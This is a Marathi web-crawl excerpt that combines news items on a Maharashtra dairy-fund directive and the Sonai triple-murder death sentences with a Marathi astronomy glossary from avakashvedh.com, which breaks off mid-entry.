यासाठी सरकारने वेगळी शक्‍कल लढविली आहे. एप्रिल ते सप्टेंबर या काळात संकलन अधिक असल्याने या कालावधीत दूध संघांनी किंमत चढ-उतार निधी (दूधदर स्थिरता निधी) कपात करावा. तो निधी ऑक्‍टोबर ते मार्च या कालावधीत वापरावा, असे अजब निर्देश राज्य सरकारने सहकारी दूध संघांना दिले आहेत. थेट अनुदान देण्याऐवजी दिलेल्या या निर्देशामुळे आश्‍चर्य व्यक्‍त होत आहे.\nसोलापूर - शेतीला महत्त्वपूर्ण जोडधंदा असलेला दुग्ध व्यवसाय टिकावा, यासाठी सरकारने वेगळी शक्‍कल लढविली आहे. एप्रिल ते सप्टेंबर या काळात संकलन अधिक असल्याने या कालावधीत दूध संघांनी किंमत चढ-उतार निधी (दूधदर स्थिरता निधी) कपात करावा. तो निधी ऑक्‍टोबर ते मार्च या कालावधीत वापरावा, असे अजब निर्देश राज्य सरकारने सहकारी दूध संघांना दिले आहेत. थेट अनुदान देण्याऐवजी दिलेल्या या निर्देशामुळे आश्‍चर्य व्यक्‍त होत आहे.\nराज्यात एकूण ७० सहकारी दूध संघ आहेत. राज्यातील दुग्ध व्यवसाय हा प्राथमिक दूध संघ, तालुका दूध संघ आणि जिल्हा दूध संघ या तीन स्तरांवर हाताळला जातो. हा व्यवसाय स्थिर राहावा आणि आर्थिक स्वरूपात दूध संघ आणि दूध उत्पादकात परस्पर समन्वय आवश्‍यक असल्याने हा निर्णय घेतल्याचे सरकारने स्पष्ट केले आहे. मात्र यापूर्वी शासनाने सहकारी दूध संघांना प्रतिलिटर २७ रुपये दर देण्याचे निर्देश दिले. त्यानुसार एकाही संघाकडून दूध उत्पादकांना दर दिला जात नाही, त्याबाबत ठोस कार्यवाही करण्याऐवजी सरकारने हा फतवा काढल्याने नाराजीचा सूर निघत आहे.\nशेतकऱ्यांचेच पैसे कपात करून त्यांनाच द्यायचे, या निर्णयाला राज्यातील बहुतांशी सहकारी दूध संघांनी नकार दर्शविला आहे.\n- सुनील शिरापूरकर, विभागीय उपनिबंधक, दुग्ध विभाग\nपशुसेवेच्या शतकी परंपरेची इंडिया रेकॉर्डकडून दखल\nसांगली - संस्थानकाळात पहिला पशुवैद्यकीय दवाखाना सुरु करणारे आणि शतकभरापुर्वी सांगलीतून पहिली पशुवैद्यक शास्त्रातील सर्जन म्हणून पदवी मिळवणारे डॉ...\nकल्याणकारी मंडळासाठी आर्थिक तरतूद करा - वृत्तपत्र विक्रेता संघटना\nकोल्हापूर - असंघटीत कामगार वृत्तपत्र विक्रेता कल्याणकारी मंडळासाठी राज्य सरकारने भरीव तरतूद करावी. यासह अन्य अन्य मागण्यांसाठी महाराष्ट्र राज्य...\nशेतीच्या वादातून प्राणघातक हल्ला करणाऱ्या दोघांना शिक्षा\nऔरंगाबाद : शेतीच्या वादातून शिवीगाळ करत प्राणघातक हल्ला करणाऱ्या दोघांना प्रथम वर्ग न्यायदंडाधिकारी आर. एम. चव्हाण यांनी दोषी ठरवून तीन महिण्याची...\nहेरले येथे चोरट्यांनी दूचाकीसह दहा तोळे सोने व रोकड पळवली\nहेरले - हेरले ( ता. हातकणंगले) येथील बबन भाऊ कदम यांच्या घरात सोमवारी मध्यरात्री चोरी झाली. चोरट्यांनी दोन दूचाकीसह दहा तोळे सोने व रोकड पंधरा हजार...\nकोल्हापूर येथे अपघातामध्ये वडणगेची महिला ठार\nकोल्हापूर - येथील सीपीआर चौकात आज दुचाकी व एस टी अपघात झाला. यात वडणगे येथील महिला ठार झाली. फुलाबाई बाबासाहेब अस्वले (55 वडणगे) असे...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00436.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.maharashtracitynews.com/amp/%E0%A4%B8%E0%A5%8B%E0%A4%A8%E0%A4%88-%E0%A4%B9%E0%A4%A4%E0%A5%8D%E0%A4%AF%E0%A4%BE%E0%A4%95%E0%A4%BE%E0%A4%82%E0%A4%A1-%E0%A4%B8%E0%A4%B9%E0%A4%BE-%E0%A4%A6%E0%A5%8B%E0%A4%B7%E0%A5%80%E0%A4%82/", "date_download": "2018-09-25T17:20:38Z", "digest": "sha1:WKFWDZ6JHJDYPMF4BPRI5YKUAJZGUEJ7", "length": 5897, "nlines": 55, "source_domain": "www.maharashtracitynews.com", "title": "सोनई हत्याकांड : सहा दोषींना फाशीची शिक्षा | Top Latest Marathi News Online", "raw_content": "\nसोनई हत्याकांड : सहा दोषींना फाशीची शिक्षा\nअहमदनगर जिल्ह्यातील सोनई येथील तिहेरी हत्याकांड प्रकरणी दोषी असलेल्या सहाजणांना फाशीची शिक्षा सुनावण्यात आली आहे. तसेच २० हजार रूपयांचा दंडही या सगळ्यांना ठोठावण्यात आला आहे. जातीयता ही एड्ससारखी समाजात पसरू नये म्हणून या आरोपींना फाशीची शिक्षा देण्यात यावी अशी मागणी आम्ही केली होती, जी न्यायालयाने मान्य केली. अशी माहिती विशेष सरकारी वकील उज्ज्वल निकम यांनी दिली आहे. २०१३ मध्ये तीन दलित युवकांची अत्यंत क्रूरपणे हत्या करण्यात आली होती. त्याचप्रकरणी सहाजणांना नाशिक सत्र न्यायालयाने फाशीची शिक्षा सुनावली आहे.\nसोनईतील सचिन धारू (२४) या तरुणाचे पोपट उर्फ रघुनाथ विश्वनाथ दरंदलेच्या (४८) मुलीशी प्रेमसंबंध होते. ते विवाह करणार असल्याचे समजल्यावर मुलीच्या कुटुंबीयांनी सचिनच्या हत्येचा कट रचला. शौचालयाच्या टाकीची सफाई करण्याच्या बहाण्याने त्यांनी सचिनसह संदीप थनवार, सागर उर्फ तिलक कंडारे यांना दरंदले वस्तीवर बोलावले. तिथे त्या तिघांची अत्यंत अमानूषपणे हत्या करण्यात आली. हत्या करणारे ऊस बागायतदार होते. हत्या झालेले मेहतर समाजातील सफाई कामगार होते. या हत्याकांडाने राज्यभरात खळबळ उडाली होती. सोमवारी न्यायालयाने याप्रकरणात पोपट उर्फ रघूनाथ दरंदले, रमेश दरंदले, प्रकाश दरंदले, गणेश उर्फ प्रवीण दरंदले, संदीप कुल्हे, अशोक नवगिरेला दोषी ठरवले होते.\n‘अपनों का पता तो चला’, अमिताभ बच्चन यांचे भावनिक पोस्ट\nहृदयविकारामुळे ‘रईस’ अभिनेता नरेंद्र झा यांचं निधन\nKisan Long March Live: शेतकऱ्यांचे शिष्टमंडळ-मंत्रिगटाच्या बैठकीत खलबतं सुरू\nKisan Long March: जाणून घ्या 166 किलोमीटरची पायपीट करून आलेल्या शेतकऱ्यांच्या 13 प्रमुख मागण्या\nमुंबईच्या वेशीवर किसान मोर्चा \nMaharashtra Budget 2018 : विकासाची गाडी चांद्याहून बांद्याला सुधीरभाऊंच्या मदतीने केसरकरांची करामत\nज्येष्ठ काँग्रेस नेते पतंगराव कदम यांचे मुंबईत निधन\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00436.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "http://avakashvedh.com/itar/shabdsuchi.html", "date_download": "2018-09-25T16:55:40Z", "digest": "sha1:VSFBE6VZR3LJQG6BOBUWFR5DSZYUABCY", "length": 63190, "nlines": 360, "source_domain": "avakashvedh.com", "title": "Avakashvedh - First Marathi Website on Astronomy", "raw_content": "\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखगोलशास्त्राची सुरुवात कशी कराल\nअवकाशवेध.कॉम वरील लेख आणि कथा वाचण्यासाठी इथे क्लिक करा.\nसूर्यानंतरच्या २० तेजस्वी तारका\nकाही महत्त्वाच्या रुपविकारी तारका\nअवकाशातील ११० मेसियर वस्तू\nकृष्णविवर - अवकाशातील विवर\n- मर्यादित आणि व्यापक\nखगोलशास्त्रावरील विविध प्रश्नोत्तरे पाहण्यासाठी इथे क्लिक करा.\nबुध ग्रह दिसण्याच्या तारखा,\nवेळ व त्यांचे स्थान\nइतर ग्रहांवर आपले वजन पहा\nइतर ग्रहांवर आपले वय पहा\nहाताच्या सहाय्याने तार्‍यांमधिल अंतर मोजणे\nधूमकेतूंना नावे देण्याची पद्धती\n२००१ ते २०२९ : शनी ग्रहाच्या\nसूर्य ग्रहण : २००९ - २०१२\nचंद्रग्रहण : २००९ - २०१५\nचंद्राच्या कलेवरुन अमावास्या आणि पौर्णिमांचे गणित \nखगोलीय अंतरे मोजण्याच्या पद्धती\nअवकाशीय वस्तू पाहण्याची क्षमता\nआम्ही केलेली निरीक्षणे पाहण्यासाठी क्लिक करा.\nअवकाशवेध.कॉमचे मोफत सभासद होण्यासाठी इथे क्लिक करा.\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखगोलीय शब्द सुची - (डिरेक्टरी)\nमूळप्रत - ऍबसल्युट मॅग्निट्यूड (Absolute Magnitude)\nदृश्यप्रत हि ठराविक तार्‍याच्या पृथ्वीवरून दिसणार्‍या दीप्ती ठरविली जाते. ज्या ऍबसल्युट मॅग्निट्यूड तार्‍याची काढावयाची आहे तो ठराविक तारा त्याच्या असलेल्या स्थानापासून १० पार्सेक (३३ प्रकाश वर्षे ) अंतरावर आणावयाचा व तेथून त्याची दीप्ती केवढी दिसेल ते पाहिले जाते.\nमोठ्या तार्‍यापासून छोट्या तार्‍याकडे त्याच्या गुरुत्वाकर्षणाने वस्तुमान खेचल्या जाणार्‍या प्रक्रियेस ऍक्रेशन असे म्हणतात. एका विशिष्ट काळानंतर छोट्या तार्‍याभोवती मोठ्या तार्‍याच्या वस्तुमानाची गोल चकती सारखी कडी तयार होते यास ऍक्रेशन डिस्क अस म्हणतात.\nमित्र तारा - अल्फा सेंटॉरी (Alpha Centauri)\nसूर्यापासून अंतराने सर्वात जवळचा प्रखर तारा (अंतर ४. ३६ प्रकाशवर्षे).\nक्षितिजा पासून वर आकाशात ख-स्वस्तिक (Zenith) पर्यंत अंशामध्ये मोजलेले अंतर.\nअसे वस्तुमान जे अस्तित्वात असलेल्या वस्तुमानाच्या विरुद्ध गुणधर्माचे आहे. ज्या वस्तुमानामध्ये प्रोटॉन्सना ऋण (निगेटिव्ह ) गुणधर्म आहे आणि इलेक्ट्रॉन्सना धन (पॉझिटिव्ह ) गुणधर्म आहे.\nअँटीपॉडल बिंदू (पॉईंट) (Antipodal point)\nतो बिंदू जो एखाद्या ग्रहाच्या दिसणार्‍या भागाच्या अथवा कोणत्याही भागावरील बिंदूच्या विरुद्ध भागावरील बिंदू. ज्याप्रमाणे पृथ्वीवरील उत्तर ध्रृवावरील बिंदूच्या विरुद्ध बिंदू म्हणजेच दक्षिण ध्रृव बिंदू.\nदोन जोडतारकांमधिल (Binary Stars) मधील एकमेकांपासून सर्वाधिक दूर असतानाचे अंतर.\nप्रकाश जाण्यासाठी कॅमेरा अथवा टेलेस्कोप यांच्यासारख्या वस्तूमध्ये भिंगासमोर असलेले गोल छिद्र. या छिद्राद्वारे प्रकाश आत जाऊन चित्र तयार होते. ऍपर्चरच्या आकाराचा आकडा जेवढा जास्त तेवढे छिद्र लहान व ऍपर्चरच्या आकाराचा आकडा जेवढा कमी तेवढे छिद्र मोठे.\nएखाद्या ग्रहाचा सूर्य प्रदक्षिणा कक्षेतील सूर्यापासूनचा सर्वाधिक दूरच्या अंतरावरील स्थान.\nसूर्य प्रदक्षिणा कक्षेतील पृथ्वीचे सूर्यापासूनचे सर्वाधिक दूरच्या अंतरावरील स्थान.\nदृश्यप्रत - ऍपरंट मॅग्निट्युड (Apparent Magnitude)\nपृथ्वीवरून पाहणार्‍या निरीक्षकास एखाद्या तार्‍याची नुसत्या डोळ्यांनी दिसणार्‍या दीप्तीवरून काढली गेलेली प्रत.\nअंशात्मक लहानात लहान मोजलेले अंतर ६० आर्क सेकंद म्हणजे १ आर्क मिनिट म्हणजेच १ आर्क डिग्री म्हणजेच ३६०० आर्क सेकंद. तसेच १आर्क सेकंद म्हणजे सूर्यावरील ७२५ कि. मि.\nआर्क डिग्री (Arc Degree)\nअंशात्मक अंतर ज्यामध्ये ३६० आर्क डिग्री मिळून एक पूर्ण गोल (full circle) तयार होते.\nएक डिग्रीचा ६० वा भाग अथवा ६० आर्क मिनिटे म्हणजे एक डिग्री.\nलघुग्रह - ऍस्टेरॉईड (Asteroid)\nआकाराने फारच लहान असल्याने ग्रहाचे स्थान न मिळालेला मोठा खडक अथवा दगड. ह्यांचा आकार उल्कांपेक्षा मोठा पण ग्रहांपेक्षा लहान असतो. सूर्यमालेमध्ये मंगळ आणि गुरू ग्रहांमध्ये ह्या लघुग्रहांचा पट्टा आढळतो.\nखगोलीय रसायनशास्त्र - ऍस्ट्रोकेमिस्ट्री (Astrochemistry)\nविज्ञानाचीच एक शाखा ज्यामध्ये अवकाशातील तार्‍यांमधील वायू आणि धूळ यांचा अभ्यास केला जातो.\nखगोलीय एकक - ऍस्ट्रोनॉमी युनिट (Astronomical Unit - AU)\nसूर्य आणि पृथ्वी यांमधील अंतर म्हणजेच एक खगोलीय एकक. सूर्य आणि पृथ्वी यांमधील सरासरी अंतर १४९, ५९७, ८७० कि. मी. आहे.\nपृथ्वीच्या चुंबकीय क्षेत्रामुळे सूर्याकडून येणारी अतिनील किरणे पृथ्वीच्या ध्रृवीय भागाकडे खेचली जातात. त्यामुळे वातावरणामध्ये रात्रीच्या अंधारामध्ये देखिल आकाशात एक प्रकाश झोत दिसतो त्यालाच अरोरा असे म्हणतात.\nअरोरा बोरियालीस (Aurora Borealis)\nपृथ्वीच्या चुंबकिय क्षेत्रामुळे सूर्याकडून येणारी अतिनील किरणे पृथ्वीच्या ध्रृवीय भागाकडे खेचली जातात. त्यामुळे वातावरणामध्ये रात्रीच्या अंधारामध्ये देखिल आकाशात एक प्रकाश झोत दिसतो त्यालाच अरोरा असे म्हणतात. तसेच पृथ्वीच्या उत्तर ध्रृवाच्या बाजूला दिसणार्‍या प्रकाशझोतास अरोरा बोरियालीस असे म्हणतात.\nअरोरा ऑस्ट्रालीस (Aurora Australis)\nपृथ्वीच्या चुंबकीय क्षेत्रामुळे सूर्याकडून येणारी अतिनील किरणे पृथ्वीच्या ध्रृवीय भागाकडे खेचली जातात. त्यामुळे वातावरणामध्ये रात्रीच्या अंधारामध्ये देखिल आकाशात एक प्रकाश झोत दिसतो त्यालाच अरोरा असे म्हणतात. तसेच पृथ्वीच्या दक्षिण ध्रृवाच्या बाजूला दिसणार्‍या प्रकाशझोतास अरोरा ऑस्ट्रालीस असे म्हणतात.\nशरद संपात - ऑटमनल इक्विनॉक्स (Autumnal equinox)\nपृथ्वीचा अक्ष २३. ५ अंशाने कललेला असल्यामुळे सूर्य प्रदक्षिणा करताना सूर्य काही काळ पृथ्वीच्या इतर भागाच्या जवळ असतो तर काही काळ पृथ्वीच्या दक्षिण भागाजवळ असतो. सूर्य ज्या वेळेस पृथ्वीच्या दक्षिण भागाच्या सर्वात जवळ असतो त्या भागास शरद संपात बिंदू असे म्हणतात.\nएखादा ग्रह त्याच्या उत्तर-दक्षिण अक्षापासून किती कललेला आहे ते पाहिले जाते. हा कल त्या ठराविक ग्रहाच्या परिभ्रमण कक्षेवरून काढला जातो.\nएक अशी अदृश्य रेषा जी एखाद्या स्वतःभोवतीच्या वस्तूच्या बरोबर मध्यभागातून गेली असेल. ह्यालाच ध्रृव असे देखिल म्हणतात.\nअसे अंतर जे क्षितिजाला समांतर व उत्तर दिशेपासून मोजले जाते.\nसर्व वस्तुमानाच्या केंद्रातील वस्तुमान. उदा. सूर्यमालेतील केंद्रीय वस्तुमान.\nमहाविस्फोट - बिगबँग (Big Bang)\nअसा एक सिद्धांत ज्यामध्ये सांगितले आहे कि विश्वाची उत्पत्ती अवकाशाच्या एका बिंदूच्या महास्फोटातून झाली असावी. त्या महास्फोटामुळेच सध्या विश्वाचे आकारमान वाढत आहे असे दिसते.\nजोडतारका - बायनरी स्टार्स (Binary Stars)\nअसे दोन तारे जे समान केंद्रीय गुरुत्वाकर्षण एकमेकाभोवती फिरत आहेत.\nकृष्णविवर - ब्लॅक होल (Black Hole)\nएक महाप्रचंड गुरुत्वीय बल. काही प्रकारच्या महाराक्षसी तार्‍यांचा त्यांच्या मृत्यू समयी त्यामधील इंधन संपल्यावर ते स्वतःच्याच गुरुत्वाकर्षणामध्ये अडकतात आणि तो तारा स्वतःच्याच गुरुत्वाकर्षणामुळे लहान-लहान होत अखेर बिंदूवत होत अखेर शेवटी अदृश्य होतो. ह्या अवस्थेस सिंग्युल्यॅरीटी असे म्हणतात. अशावेळी त्याचे वस्तुमान प्रचंड झालेले असते. त्याच्या प्रचंड गुरुत्वाकर्षणामुळे त्यापासून निघालेला प्रकाश देखिल त्याच्याकडे पुन्हा खेचला जातो.\nएखाद्या तार्‍याचा वर्णपटल घेतला असता त्यामध्ये असलेल्या रेषा निळ्या बाजूस सरकणे. ब्लु शिफ्टद्वारे तो ठराविक तारा आपल्या दिशेने येत आहे हे कळते. तर जेवढी ब्लु शिफ्ट जास्त तेवढा तो तारा वेगाने आपल्या दिशेने येत आहे.\nअवकाशीय विषुववृत्त - सेलेस्टिअल इक्वेटर (Celestial equator)\nएक अशी समांतर पातळी जी पृथ्वी आणि अवकाश यांच्याशी समांतर असेल.\nअवकाशीय ध्रुव - सेलेस्टिअल पोल (Celestial pole)\nअवकाश गोलाचे उत्तर आणि दक्षिण असे दोन ध्रुव जिथे पृथ्वीचे परिवलन अक्ष एकमेकांना छेदतात.\nअवकाशीय गोल - सेलेस्टिअल स्फिअर (Celestial sphere)\nएक असा काल्पनिक अवकाशीय गोल ज्यामध्ये पृथ्वी केंद्रस्थानी आहे आणि आपण त्या गोलावर तार्‍यांना पाहत आहोत.\nआकारमान बदलणारा रुपविकारी तारा. रुपविकारी तार्‍यांच्या प्रकारातील एक विशिष्ट प्रकार ज्यामध्ये तो ठराविक तारा आपल्या आकारमानासोबत दीप्ती देखिल विशिष्ट कालांतराने कमी जास्त करतो. सध्याच्या प्रगत विज्ञानामध्ये अशा तार्‍यांचा उपयोग त्यांचे आपल्या पासूनचे अंतर मोजण्यासाठी होतो.\nभिंगिय विषमता - क्रोमॅटिक ऍबरेशन (Chromatic aberration)\nकाहीवेळेस विशिष्ट प्रकारचे काचेचे भिंग प्रकाशकिरणांचे वक्रिभवन करून वेगवेगळ्या दिशांना वेगवेगळ्या रंगछटा दाखवितो. असा प्रत्यय त्या भिंगाच्या कडेस जाणवितो.\nसूर्याच्या गाभ्यातील एक प्रकारचा थर जो प्रोटोस्फिअरच्या आणि गाभ्यावरील बदलणार्‍या भागावर असतो. क्रोमोस्फिअर प्रोटोस्फिअरच्या मानाने अतिशय तप्त असते परंतु मध्य गाभ्याच्या मानाने हे तापमान कमी असते.\nध्रुवतारा - सर्कमपोलार स्टार (Circumpolar Star)\nअसा तारा जो कधीच मावळत नाही. जो नेहमीच क्षितिजाच्या वर दिसतो. हे निरीक्षकाच्या जागेवर अवलंबून आहे. पृथ्वीच्या दक्षिण गोलार्धात काही फिकट तारे ध्रुवाजवळ आहेत. परंतु पृथ्वीच्या उत्तर गोलार्धात एक ठळक तारा ध्रुवाजवळ आहे. त्यालाच आपण ध्रुवतारा व इंग्रजीमध्ये पोलारिस असे म्हणतो.\nधूमकेतूच्या मुख्य डोक्याजवळ असलेल्या वायूमय आवरणाला कोमा असे म्हणतात. ह्यामध्ये प्रामुख्याने वायू असतात. सूर्य किरणांमुळे हा वायू तप्त होऊन त्यामधील बर्फमय धुळीकण सुटे होतात. नंतर ह्या पासून धूमकेतूला शेपटी तयार होते. जी धूमकेतूच्या मुख्य गाभ्या पासून हजारो मैल मोठी होते.\nधूमकेतू - कॉमेट (Comet)\nसर्वसाधारणपणे सूर्यमालेत प्रवेश करताच धूमकेतू मागे आपणास शेपटी आलेली दिसेल. हि शेपटी बर्फाच्छादित धुळीकणांची असते व जसं जसा तो धूमकेतू सूर्याच्या अधिक जवळ येऊ लागतो, त्यावेळेस हे बर्फाच्छादित धुळीकण विरघळून अलग होतात आणि धूमकेतूमागे धुळीकणांची एक शेपटी तयार होते. ज्यामुळे धूमकेतू एखाद्या झाडूसारखा दिसू लागतो. काही आठवड्यांमध्येच तो आपली सूर्य प्रदक्षिणा संपवून पूर्ववत दूर जाऊ लागतो व त्याबरोबर त्याची शेपटी देखिल लहान होत अदृश्य होते.\nजेव्हा दोन किंवा अनेक अवकाशस्थ वस्तू एकमेकांजवळ दिसू लागतात ह्या घटनेला युती असे म्हणतात.\nतारकासमूह - कॉन्स्टलेशन्स (Constellation)\nअवकाशातील तारकांचा असा समूह ज्यामुळे त्या तार्‍यांचा एखादा मोठा विशिष्ट आकार दिसतो. अवकाशात असे ८८ तारकासमूह आहेत.\nसूर्यावरील वातावरणातील सर्वात बाहेरचा थर. ज्यामध्ये निरनिराळ्या प्रकारचे वायू असतात. अतिशय विरळ असून देखिल त्यांचे तापमान १ लाख डिग्री केल्विन एवढे असते. नुसत्या डोळ्यांना हा करोना फक्त सूर्यग्रहणाच्या वेळेसच पाहायला मिळतो.\nवैश्विक किरण - कॉस्मिक रे (Cosmic Ray)\nअण्विक कण (ज्यामध्ये प्रामुख्याने प्रोटॉन्स असतात) जे अंतराळातून येऊन पृथ्वीच्या वातावरणात प्रवेश करतात. हे कण प्रचंड ऊर्जामय असतात.\nमूळशास्त्र - कॉस्मोलॉजी (Cosmology)\nविज्ञानाची एक अशी शाखा ज्यामध्ये उत्पत्ती, मूळ, रचना आणि नैसर्गिक विश्वाचा अभ्यास केला जातो.\nखळगे - क्रेटर (Crater)\nगोलाकार मोठा खड्डा जो लघुग्रह अथवा उल्का आदळल्याने तयार झाला असेल. तसेच जो ज्वालामुखीच्या अंतर दाबामुळे देखिल तयार झाला असेल.\nकृष्ण पदार्थ - डार्कमॅटर (Dark Matter)\nविश्वातील असे वस्तुमान जे अस्तित्वात आहे परंतु दिसत नाही. जे अदृश्य आहे पण ज्यांचा गुरुत्वीयबलाचा परिणाम मात्र इतर अवकाशस्थ गोष्टींवर दिसून येतो.\nक्रांती - डेक्लिनेशन (Declination)\nएखाद्या अवकाशस्थ वस्तूचे, ग्रहाच्या अवकाशीय विषुववृत्तापासून मोजले गेलेले अंशात्मक अंतर.\nचकती - डिस्क (Disk)\nसूर्याचा दृश्यभागाचा आकार अथवा एखादी अवकाशस्थ वस्तूचे चित्र.\nडॉप्लर इफेक्ट (Doppler Effect)\nप्रकाशाच्या अथवा आवाजाच्या तरंग लांबीमधिल बदल जो एखाद्या विशिष्ट वस्तूपासून निघालेला आहे आणि संबंध निरीक्षकाच्या जागेवर अवलंबून आहे. जर एखादी वस्तू निरिक्षका पासून दूर जात असेल तर त्यामुळे तरंग लांबीच्या लहान रेषा निळ्या रंगाकडे सरकलेल्या दिसतात. तर या उलट एखादी वस्तू निरीक्षकाजवळ येत असेल तर त्यामुळे तरंगलाबींच्या मोठ्या रेषा लाल रंगाकडे सरकलेल्या दिसतात. सध्या डॉप्लर इफेक्ट हा प्रयोग एखाद्या अवकाशस्थ वस्तूचा वेग आणि दिशा ठरविण्यासाठी करतात.\nजोडतारका - डबलस्टार (Double Star)\nकाही वेळेस पुढेमागे असलेल्या दोन तारका निरीक्षकास एकत्र अथवा एकाच जागी दिसतात. ह्या दोन तारका काही वेळेस पुढेमागे असतात तर काही वेळेस एकत्र देखिल एकमेकांभोवती फिरत असतात.\nग्रहण - एक्लिप्स (Eclipse)\nएका अवकाशस्थ वस्तूमुळे अथवा दुसर्‍या वस्तूचा प्रकाश पूर्णतः अथवा अंशतः अडविला जाणे.\nतारखेनुसार पद्धतशीर मांडलेली माहिती उदा. सर्वसामान्यपणे सूर्य, चंद्र आणि इतर ग्रह यांच्या जागेची दररोजची माहिती अथवा दररोजची इतर अवकाशस्थ वस्तूंबद्दलची माहिती.\nसंपात बिंदू - इक्विनॉक्स (Equinox)\nअसे दोन बिंदू जेथे सूर्याचा आयनिक मार्ग हा पृथ्वीच्या विषुववृत्तास छेदतो. ह्या दोन बिंदूंना वसंत आणि शरद असे म्हणतात. दरवर्षी सूर्य २१ मार्च रोजी वसंतसंपात बिंदूवर असतो तर २२ सप्टेंबर रोजी शरद संपात बिंदूवर असतो.\nमुक्तीचा वेग - एस्केप वेलॉसिटी (Escape Velocity)\nएखाद्या ग्रहापासून अथवा अवकाशस्थ वस्तूच्या गुरुत्वाकर्षणातून बाहेर पडण्यासाठी लागणारा वेळ.\nइवेंट होराईझन (Event Horizon)\nकृष्णविवराभोवती असलेली त्याची अदृश्य सीमा त्याच्या आत गेल्यास कोणीही मुक्त होऊ शकत नाही. इतकेच की प्रकाश देखिल परत आत मागे खेचला जातो.\nमृतावस्थेकडे चाललेला तारा - इवॉल्व स्टार (Evolved Star)\nआपला आयुष्यक्रम संपवून मृत्युपंथाला चाललेला तारा. अशा अवस्थेमध्ये त्या ठराविक तार्‍यातील इंधन संपलेले असते आणि आता तो आपले वस्तुमान गमावीत असतो.\nएक शब्द जो बाहेरील अथवा आपल्या आकाशगंगेपलीकडील वस्तूंसाठी वापरला जातो.\nअंतरीक्ष - एक्स्ट्रा टेरेस्टिअल (Extraterrestrial)\nएक शब्द जो पृथ्वीच्या बाहेर निर्माण झालेल्या वस्तूंसाठी वापरला जातो.\nटेलेस्कोपच्या शेवटी लावली जाणारी भिंग. ज्यामध्ये पाहून निरीक्षक पाहत असलेल्या वस्तूचा आकार मोठा करतो. निरनिराळ्या क्षमतेच्या भिंगामुळे वस्तूचे आकारमान मोठे दिसते.\nअतिशय प्रखर उल्का. काही वेळेस फायरबॉल चंद्राच्या प्रकाशापेक्षा देखिल कितीतरी पटीने प्रखर असतो.\nगुरुत्वीय बिंदू - गॅलेक्टिक न्युक्लिअस (Galactic Nucleus)\nआकाशगंगा मध्ये असणार्‍या तारे आणि वायू यांमधील अतिघन गुरुत्वीय बळ असलेले केंद्र.\nगुरुत्वीय कडा - गॅलेक्टिक हेलो (Galactic Halo)\nआकाशगंगांच्या केंद्रीय गाभ्याभोवती अथवा बाहेरील बाजूस असणार्‍या गोलाकार कडेस गुरुत्वीय कड असे म्हणतात.\nआकाशगंगा - गॅलेक्सी (Galaxy)\nअब्जावधी तारकांचा समूह. आपला सूर्य ज्या आकाशगंगेमध्ये आहे त्यास इंग्रजीत - मिल्की वे - असे म्हणतात. विश्वामध्ये अशा अब्जावधी आकाशगंगा आहेत. अजून देखिल आकाशगंगांची उत्पत्ती कशी आणि केव्हा झाली ह्यावर संशोधन चालू आहे. आकाशगंगा निरनिराळ्या आकारामध्ये आणि स्वरूपाच्या असू शकतात. आपल्या आकाशगंगेचा आकार सर्पिलाकृती आहे आणि त्यामध्ये काही अब्ज तारे आहेत. काही आकाशगंगा अशा आहेत की ज्यांचा प्रकाश आपणापर्यंत येण्यास हजारो वर्षे लागतात. सर्पिलाकृती (spiral), गोलाकार (elliptical) आणि वेडीवाकडी (irregular) असे आकाशगंगांचे तीन मुख्य भाग आहेत.\nगॅलिलिओचे चंद्र - गॅलिलीअन मून (Galilean Moons)\nआयो (Io), युरोपा (Europa), कॅलिस्टो (Callisto) आणि गॅनिमेड (Ganymede) ह्या गुरू ग्रहाच्या चार चंद्रांना हे नाव देण्यात आले आहे. ह्याचा शोध गॅलिलिओ गॅलेली याने लावल्यामुळे त्याचे नाव देण्यात आले.\nमुलद्रव्यांचा मोठा ढग - जायंट मॉलीक्युलर क्लाऊड (Giant Molecular Cloud (GMC))\nअवकाशाच्या पोकळीमध्ये आढळणार्‍या मोठ्या ढगांना ज्यामध्ये प्रामुख्याने हायड्रोजन हा वायू सापडतो. तसेच ज्यामध्ये नवीन तार्‍याच्या निर्मितीसाठी आवश्यक वस्तुमान आहे.\nबंदिस्त तारकागुच्छ - ग्लोब्युलर क्लस्टर (Globular Cluster)\nएक अतीघन आणि जेथे शेकडो ते हजारो तारका दाटीवाटीने आढळतात. बंदिस्त तारकागुच्छामध्ये प्रामुख्याने वृद्ध तारे मध्य भागामध्ये आढळतात.\nगुरुत्वीय भिंग - ग्रॅव्हिटेशनल लेंस (Gravitational Lens)\nप्रचंड वस्तुमान असलेली आकाशगंगा अथवा एखादा तारा त्याच्या प्रचंड गुरुत्वाकर्षणाने त्याच्या मागून येणार्‍या तार्‍याचा अथवा आकाशगंगेचा प्रकाशाचा सरळ मार्ग बदलून त्याला वक्रता आणतो. त्यामुळे त्यामागील वस्तूची दिशा बदललेली दिसते अथवा त्याच्या दोन समान प्रतिमा दिसतात.\nगुरुत्वाकर्षण - ग्रॅव्हिटि (Gravity)\nएखाद्या पदार्थिय वस्तुमान असलेल्या गोष्टीचा दुसर्‍या गोष्टीला आपल्या जवळ खेचण्याचा एक नैसर्गिक गुणधर्म.\nसूर्य केंद्रीय - हेलिओसेंट्रिक (Heliocentric)\nसूर्य केंद्रीय स्थानी असणे.\nसूर्य केंद्रीय अवकाश - हेलिसोस्फिअर (Heliosphere)\nसंपूर्ण सूर्यमाला असेल असा एक अवकाशातील काल्पनिक गोल.\nद्वितीय 